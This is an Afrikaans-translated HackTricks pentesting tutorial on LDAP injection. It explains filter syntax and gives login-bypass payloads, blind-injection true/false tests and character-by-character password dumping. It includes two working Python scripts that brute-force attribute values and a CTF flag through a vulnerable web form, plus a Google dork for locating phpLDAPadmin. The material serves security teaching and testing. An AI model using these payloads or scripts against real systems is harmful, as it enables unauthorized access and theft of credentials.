hacktricks/pentesting-web/ldap-injection.md

9.2 KiB

LDAP Injection

LDAP Injection

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons huur aan! (vloeiende Pools geskryf en gesproke vereis).

{% embed url="https://www.stmcyber.com/careers" %}

LDAP Injection

LDAP

As jy wil weet wat LDAP is, besoek die volgende bladsy:

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAP Injection is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing nie behoorlik sanitiseer invoer nie, wat aanvallers toelaat om LDAP-verklarings te manipuleer deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

Filter = ( filtercomp )
Filtercomp = en / of / nie / item
En = & filterlist
Of = |filterlist
Nie = ! filter
Filterlist = 1*filter
Item= eenvoudig / teenwoordig / substring
Eenvoudig = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Teenwoordig = attr = *
Substring = attr ”=” [begin] * [eindig]
Begin = assertionvalue
Eindig = assertionvalue
(&) = Absolute WAAR
(|) = Absolute VALSE

Byvoorbeeld:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat.

OpenLDAP: As 2 filters aankom, voer slegs die eerste een uit.
ADAM of Microsoft LDS: Met 2 filters gooi hulle 'n fout.
SunOne Directory Server 5.0: Voer albei filters uit.

Dit is baie belangrik om die filter met die korrekte sintaksis te stuur of 'n fout sal gegooi word. Dit is beter om slegs 1 filter te stuur.

Die filter moet begin met: & of |
Voorbeeld: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Dan: (&(objectClass=*)(ObjectClass=*)) sal die eerste filter wees (die een wat uitgevoer word).

Login Bypass

LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehasht word.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Lyste

Blind LDAP Inspuiting

Jy kan vals of waar antwoorde afdwing om te kontroleer of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

Jy kan oor die ascii letters, syfers en simbole herhaal:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Ontdek geldige LDAP-velde

LDAP-objekte bevat standaard verskeie eienskappe wat gebruik kan word om inligting te stoor. Jy kan probeer om almal daarvan te brute-force om daardie inligting te onttrek. Jy kan 'n lys van standaard LDAP-eienskappe hier vind.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Spesiale Blind LDAP Inbraak (sonder "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Meer Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

As jy belangstel in hacking loopbaan en om die onhackbare te hack - ons huur aan! (vloeiend in Pools, geskryf en gesproke, vereis).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}